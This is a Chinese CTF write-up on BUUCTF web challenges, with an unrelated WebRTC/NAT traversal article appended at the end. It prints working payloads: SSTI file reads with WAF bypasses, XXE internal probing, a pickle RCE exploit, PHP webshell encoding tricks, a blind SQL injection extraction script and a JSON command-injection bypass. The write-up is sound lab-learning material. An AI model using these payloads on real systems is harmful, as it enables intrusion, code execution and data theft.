[BSidesCF 2019]Futurella
火星文
- 复制粘贴搜索框就可以获得flag
- 看源码
轻易得不敢copy flag
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
; [GYCTF2020]FlaskApp
这里会自动重定向到xss平台,很迷
flask debug可以找到源码
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
flasky
尝试ssti模板注入
先重定向 点击返回拿到base64编码去解码 同理点击+返回操作
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
{{7*7}}不可以 {{7+7}}可以 别问为什么 有waf
读app.py
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
Open an interactive python shell in this frame
res = render_template_string(tmp)
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
@app.route('/',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
waf
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
过滤了 怪不得
过滤了flag和一些重要函数
利用拼接绕过*
os.listdir()
方法用于返回指定的文件夹包含的文件或文件夹的名字的列表
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
拼接
flag
利用 open
函数读取 this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %
学习:
切片+[::-1]倒置
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
[NCTF2019]True XML cookbook
- XXE外部实体注入
- 探测内网
DOCTYPE j1a []>
<user><username>&exp;username><password>123password>user>
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
DOCTYPE j1a []>
<user><username>&exp;username><password>123password>user>
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
- 内网存活主机探测
内网探测存活的主机=>获取 /etc/hosts
文件
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
获取
/proc/net/arp
文件
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
10.0.158.2
- 扫c段
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
## [CISCN2019 华北赛区 Day1 Web2]ikun
要买lv6,这一页没有,下一页也没有,跑脚本吧
标志是 lv6.png
,因为lv6每一页都会有
import requests
url = "http://06b6c6d8-b926-4e4e-a153-7d40ce739679.node4.buuoj.cn:81/shop?page="
for i in range(2, 200):
res = requests.get(url+str(i))
if 'lv6.png' in res.text:
print(i)
break
在 181页
第一个商品就是, buy it
还是买不了,抓包看看,有一个价钱和多出来的” 折扣 “,
- 改价格
- 改折扣
怎么小怎么改, 改折扣成功
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
只能admin,那看看token,是 JWT
知识点:
什么是JWT
COOKIE,SESSION,JWT的区别
工具:
- 获得信息
- 破解密钥
- 修改信息
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
这里有个严重的逻辑错误,改jwt重放的页面是这个页面,不是购买的页面,它都提示了。。。
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
查看源码:
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
www.zip
源码泄露
看看这个模板对应的源码,搜一下This is Black Technology
admin.py
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
become
对应请求头
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
- *pickle反序列化
pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀
为.pkl),不能直接打开进行预览。
https://blog.csdn.net/u013008795/article/details/89790828
https://zhuanlan.zhihu.com/p/64027434
https://www.jb51.net/article/57661.htm
函数说明dumps对象反序列化为bytes对象dump对象反序列化到文件对象,存入文件loads从bytes对象反序列化load对象反序列化,从文件中读取数据
二进制流&&文件形式
dump(obj,file,protocol=None,*,fix_imports=True)
- obj:需要序列化的对象
- file:文件描述符,需要写入的文件描述符
- protocol:协议 序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
- fix_imports:
dumps(obj, protocol=None, *, fix_imports=True)->bytes
- obj:需要序列化的对象
- protocol:协议
- fix_imports:
- bytes:返回值 序列化后的bytes
load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
- file :文件描述符,序列化后生成的文件。
- fix_imports:
- encoding:文件编码,默认为ASCII
- errors
loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")->从bytes中反序列化
- bytes_object:序列化后的bytes对象
- fix_imports:
- encoding:编码
- errors
总:
好好学习:
《python魔术方法指南》
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
exp.py
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
become = pickle.dumps(payload())
become = urllib.quote(a)
print become
urlib.quote
这里是 python2
语法
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
一键成为大会员
[MRCTF2020]套娃
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
- php特性
PHP的字符串解析特性Bypass
- b_u_p_t
b+u+p+t
b.u.p.t
b%20u%20p%20t - 不能以23333结尾,%0a截断
/secrettw.php
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
- jsfuck编码
post me Merak
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
- post传参Merak
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
- 本地
x-forwarded-for不可以
client-ip可以
- data伪协议绕过if
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
- re
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
加密了,反写一波
逆向逆向==正向
<?php
function rerechange($v){
$rere = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return base64_encode($rere);
}
$str="flag.php";
echo rerechange($str);
//ZmpdYSZmXGI=
</code>
[极客大挑战 2019]RCE ME
这个过滤好狠
执行函数:
- eval
- assert
- system
- exec
- shell_exec
- passthru
- preg_replace()+/e
- create_function()
- call_user_func_array()
- call_user_func()
- array_map()
- array_filter()
绕过方法:
- 字符串拼接绕过
- 字符串转义绕过
- 多次传参绕过
- 内置函数访问绕过
- 异或绕过
- URL编码取反绕过
1. 异或、取反urlencode编码绕过+蚁剑
异或
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
取反(下一步好像不能一句话)
C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
C:\Users\Administrator>
<?php
error_reporting(0);
$a='assert';
$a=urlencode(~$a);
echo $a;
echo "<br>";
$b='(eval($_POST["j1a"]))';
$b=urlencode(~$b);
echo $b;
?>
2.通过环境变量LD_PRELOAD+mail劫持so来执行系统命令
antsword jsp环境
永远的痛
https://www.cnblogs.com/yesec/p/12483631.html
[WUSTCTF2020]颜值成绩查询
- 布尔盲注
/?stunum=1#
2-1
1^1^1
均回显成功,过滤了空格,尝试手工发现式布尔盲注
参考之前的
当时的exp写的二分法比较特殊,这里是正常的写法:
import requests
import time
url = "http://ade85c26-7f56-4212-9d96-d4906f545b19.node4.buuoj.cn:81/?stunum="
res = ''
for i in range(1, 50):
print(i)
left = 31
right = 127
mid = left + ((right - left) >> 1)
while left < right:
payload = "^(ascii(substr((select(value)from(flag)),{},1))>{})".format(i, mid)
r = requests.get(url=url+payload, timeout=3)
if r.status_code == 429:
print('too fast')
time.sleep(1)
if 'Hi admin, your score is: 100' not in r.text:
left = mid + 1
elif 'Hi admin, your score is: 100' in r.text:
right = mid
mid = left + ((right-left) >> 1)
if mid == 31 or mid == 127:
break
res += chr(mid)
print(str(mid), res)
调了好久的payload 我恨啊
timeout根据情况设置
https://blog.csdn.net/SopRomeo/article/details/106148254
这个抽奖不简单
查看源码,有一段js代码
$(document).ready(function(){
$("#div1").load("check.php #p1");
$(".close").click(function(){
$("#myAlert").hide();
});
$("#button1").click(function(){
$("#myAlert").hide();
guess=$("input").val();
$.ajax({
type: "POST",
url: "check.php",
data: "num="+guess,
success: function(msg){
$("#div2").append(msg);
alertmsg = $("#flag").text();
if(alertmsg=="没抽中哦,再试试吧"){
$("#myAlert").attr("class","alert alert-warning");
if($("#new").text()=="")
$("#new").append(alertmsg);
}
else{
$("#myAlert").attr("class","alert alert-success");
if($("#new").text()=="")
$("#new").append(alertmsg);
}
}
});
$("#myAlert").show();
$("#new").empty();
$("#div2").empty();
});
});
看看check.php
<?php
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "".$str_show."";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}";
}
else{
echo "没抽中哦,再试试吧";
}
}
show_source("check.php");
- *php伪随机性
如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
原理:mt_scrand(seed)函数通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。
工具:https://www.openwall.com/php_mt_seed/
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "".$str_show."";
生成随机数正逻辑
根据给出的随机数的一个part逆向出
用工具爆破出seed
正逻辑生成完整的随机数
67324128
[FBCTF2019]RCEService
离fastjson-rce更近了一步
- *jason格式写rce-payload
?cmd={"cmd":"ls"}
根据网传源码过滤了很多函数
preg_match()函数只能匹配第一行数据,可以使用换行符 %0a
绕过尝试对应的换行截断
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
为什么是这个目录呢?
网传源码:
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected';
} else {
echo 'Attempting to run command:';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '';
}
}
?>
学习:
https://xz.aliyun.com/t/5399
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://8389c34b-492e-4bf1-b4e3-8974b7d57476.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)
![[BUUCTF] 集训第六天](https://www.johngo689.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
Original: https://blog.csdn.net/Dannie01/article/details/120592992
Author: J1A
Title: [BUUCTF] 集训第六天
相关阅读
Title: 7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越
一、Candidate
- 即 ICE Candidate(ICE 候选者)。表示 WebRTC 与远端通信时使用的协议、IP 地址和端口
- 一般组成包括: 本地 IP 地址、本地端口号、候选者类型,包括 host、srflx 和 relay、优先级、传输协议等等
- 当 WebRTC 通信双方彼此要进行连接时,每一端都会提供许多候选者,比如你的主机有多块网卡,那么每块网卡的不同端口都是一个候选者
- WebRTC 会按照上面描述的格式对候选者进行排序,然后按优先级从高到低的顺序进行连通性测试,当连通性测试成功后,通信的双方就建立起了连接
- 在WebRTC 中,它首先会尝试 NAT 穿越,即尝试端到端直连。如果能够穿越成功,那双方就通过直连的方式传输数据,这是最高效的。但如果 NAT 穿越失败,为了保障通信双方的连通性,WebRTC 会使用中继方式,当然使用这种方式传输效率会低一些
- 在众多候选者中,host 类型的候选者优先级是最高的。在 WebRTC 中,首先对 host 类型的候选者进行连通性检测,如果它们之间可以互通,则直接建立连接。其实,host 类型之间的连通性检测就是内网之间的连通性检测。WebRTC 就是通过这种方式巧妙地解决了大家认为很困难的问题
- 同样的道理,如果 host 类型候选者之间无法建立连接,那么 WebRTC 则会尝试次优先级的候选者,即 srflx 类型的候选者。也就是尝试让通信双方直接通过 P2P 进行连接,如果连接成功就使用 P2P 传输数据;如果失败,就最后尝试使用 relay 方式建立连接
- 如果用代码结构表示,大概可以是如下:
- host:表示本机候选者
- srflx:表示内网主机映射的外网的地址和端口
- relay:表示中继候选者
{
IP: 127.0.0.1,
port: 3333,
type: host/srflx/relay,
priority: number,
protocol: UDP/TCP,
usernameFragment: string
}
二、STUN 协议
- 如果主机没有公网地址,是无论如何都无法访问公网上的资源的
- 而一般情况下,主机都只有内网 IP 和端口,那它是如何访问外网资源的呢
- 在内网的网关上都有 NAT (Net Address Transport) 功能
- NAT 的作用就是进行内外网的地址转换
- 这样当你要访问公网上的资源时,NAT 首先会将该主机的内网地址转换成外网地址,然后才会将请求发送给要访问的服务器;服务器处理好后将结果返回给主机的公网地址和端口,再通过 NAT 最终中转给内网的主机
- 而想让内网主机获得它的外网 IP 地址,就只需要在公网上架设一台服务器,并向这台服务器发个请求即可获得,也就是 STUN 协议,我们只要遵守这个协议就可以拿到自己的公网 IP 了

三、TURN 协议
- 我们经常说的 relay 服务器或 TURN 服务器它们是同一个意思,都是指中继服务器
- 而relay 服务是通过 TURN 协议实现的
- relay 型候选者的优先级与其他类型相比是最低的,但在其他候选者都无法连通的情况下,relay 候选者就成了最好的选择。因为它的连通率是所有候选者中连通率最高的
四、NAT 打洞 /P2P 穿越
- NAT解决的问题: IPv4 地址不够用的、安全问题
- 当收集到 Candidate 后,WebRTC 就开始按优先级顺序进行连通性检测了。它首先会判断两台主机是否处于同一个局域网内,如果双方确实是在同一局域网内,那么就直接在它们之间建立一条连接
- 但如果两台主机不在同一个内网,WebRTC 将尝试NAT 打洞,即 P2P 穿越。在 WebRTC中,NAT 打洞是极其复杂的过程,它首先需要对 NAT 类型做判断,检测出其类型后,才能判断出是否可以打洞成功,只有存在打洞成功的可能性时才会真正尝试打洞
- WebRTC 将 NAT 分类为 4 种类型:完全锥型 NAT、IP 限制型 NAT、端口限制型 NAT、对称型 NAT
五、ICE
- ICE 就是包括了 STUN、TURN 协议的一套框架
- 其实 ICE 就是上面所讲的获取各种类型 Candidate 的过程
- 就是:在本机收集所有的 host 类型的 Candidate,通过 STUN协议收集 srflx 类型的 Candidate,使用 TURN 协议收集 relay 类型的 Candidate
六、完全锥型 NAT
- 完全锥型 NAT 的特点是,当 host 主机通过 NAT 访问外网的 B 主机时,就会在 NAT 上打个”洞”,所有知道这个”洞”的主机都可以通过它与内网主机上的侦听程序通信
- 所谓的”打洞”就是在 NAT 上建立一个内外网的映射表,并且一般会使用UDP 是无连接协议,也就是说只要你发送数据给它,它就能收到

七、IP 限制锥型 NAT
- IP 限制锥型要比完全锥型 NAT 严格得多
- 它主要的特点是,host 主机在 NAT 上”打洞”后,NAT 会对穿越洞口的 IP 地址做限制
- 只有指定的 IP 地址才可以通过,也就是说,只有 host 主机访问过的外网主机才能穿越 NAT

八、端口限制锥型
- 端口限制锥型比 IP 限制锥型 NAT 更加严格
- 它主要的特点是,在 NAT 上对打洞时对IP 地址做了限制,还对具体的端口做了限制

九、对称型 NAT
- 对称型 NAT 是所有 NAT 类型中最严格的一种类型
- 对称型 NAT 对每个连接都使用不同的端口,甚至更换 IP 地址,会建立多个内外网的映射表

Original: https://www.cnblogs.com/sunnyeden/p/16276569.html
Author: sunnyeden
Title: 7┃音视频直播系统之 WebRTC 中的连接的创建、STUN/TURN 以及 NAT 穿越
原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/303185/
转载文章受原作者版权保护。转载请注明原作者出处!